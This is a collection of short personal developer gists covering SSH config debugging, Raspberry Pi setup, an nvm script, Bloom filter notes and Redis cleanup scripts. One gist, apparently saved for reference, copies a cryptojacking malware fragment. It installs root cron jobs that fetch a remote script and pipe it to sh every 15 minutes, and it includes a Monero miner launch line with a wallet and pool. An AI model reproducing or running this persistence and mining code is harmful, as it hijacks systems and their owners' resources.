memoryonrepeat

• Have a git config file that has default pattern matching like * to let client use default ssh key id_rsa
• Make a new config block to match private git hostname and let client use authorized ssh key
• Try cloning private repo -> doesn't work -> guess that ssh client is still somehow using id_rsa instead of authorized keys
• Try removing all keys from ssh-add and re-add, still doesn't work
• Try looking at the process by running ssh -v git@[private host name] -> see that it's successfully handshaked with private host name using id_rsa
• Well because ssh client can fallback to the default key to connect to private host name, it doesn't need to use authorized ssh key
• But that shouldn't be the case because eventually it will fail at some point like at the beginning
• Seems like a bug. Guess that the private group's domain is accessible via SSH but the private repos are not hence the weird scenario.
• But at least there is a workaround. Just remove the default pattern matching IdentityFile id_rsa and it wi

memoryonrepeat

# Save this script at /Users/{your username}/Library/Application\ Support/Sublime\ Text\ 3/Packages/node_env.py
# Inspired by https://gist.github.com/joesepi/11269417

import os

nvm_path = '%(home)s/.nvm' % {'home': os.path.expanduser("~")}
nvm_default_file_path = '%(root)s/alias/default' % {'root': nvm_path}
nvm_node_root = '%(root)s/versions/node' % {'root': nvm_path}

# Grab default alias

memoryonrepeat

SSH without physical keyboard

• Get a mouse, copy image to SD, start Pi --> initially there's only one partition called "recovery"
• Attach Pi to screen, click install
• Plug SD to computer again --> now there's another partition called "boot"
• Create an empty file called "ssh" (no extension) in "boot" partition
• Now ssh is enabled. Plug Pi to ethernet cable. On ssh client, ssh to pi@< IP address of Pi> (IP address can be obtained by logging in to LAN control panel or use network scanner. Probably should give Pi static address to ease subsequent connections)

Pair desktop (to use laptop's keyboard + screen to control)

• https://docs.dataplicity.com/docs/make-a-remote-graphical-interface-for-your-pi
• After pairing, can use laptop keyboard to config wifi (or follow guide here https://www.raspberrypi.org/documentation/configuration/wireless/wireless-cli.md). Note that resolution should be 1280x720 instead of 1920*1280

memoryonrepeat

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root

# ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &


if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

memoryonrepeat

Bloom filter

• A space-efficient data structure used to test whether an element is in a set or not.
• False positives can be tolerated. False negatives can not.
• Answer can be either "element is possibly in set" or "element is definitely not in set".
• Applications: CDN, cache, synchronization ...

Straw man fallacy

• A gives argument X.
• B tries to defeat argument Y which is superficially similar to X, then conclude that B has defeated X.

memoryonrepeat

# Check for rootkit, keylogger etc
http://www.chkrootkit.org/

# Check for suspicious network activities
https://www.obdev.at/products/littlesnitch/index.html

memoryonrepeat

# Download whole HTTP directories 
# https://stackoverflow.com/questions/23446635/how-to-download-http-directory-with-all-files-and-sub-directories-as-they-appear
# Added wildcard to index.html so that junks that have similar prefix won't be downloaded
# Tested with downloading old IOI problem sets and solutions i.e http://olympiads.win.tue.nl/ioi/ioi2004/contest/
wget -r -np -nH --cut-dirs=3 -R index.html* http://hostname/aaa/bbb/ccc/ddd/

memoryonrepeat

# Rebuild index for spotlight
sudo mdutil -i off /
sudo mdutil -E /
sudo mdutil -i on /

memoryonrepeat

#!/bin/bash
sudo rm -rf /usr/local/bin/redis-*
sudo rm -rf /etc/init.d/redis_6379
sudo rm -rf /var/redis/
sudo rm -rf /etc/redis/

memoryonrepeat

#!/bin/bash

# Stop current redis process if any
sudo /etc/init.d/redis_6379 stop

# Reset previous configs if any
sudo rm -rf /usr/local/bin/redis-*
sudo rm -rf /etc/init.d/redis_6379
sudo rm -rf /var/redis/
sudo rm -rf /etc/redis/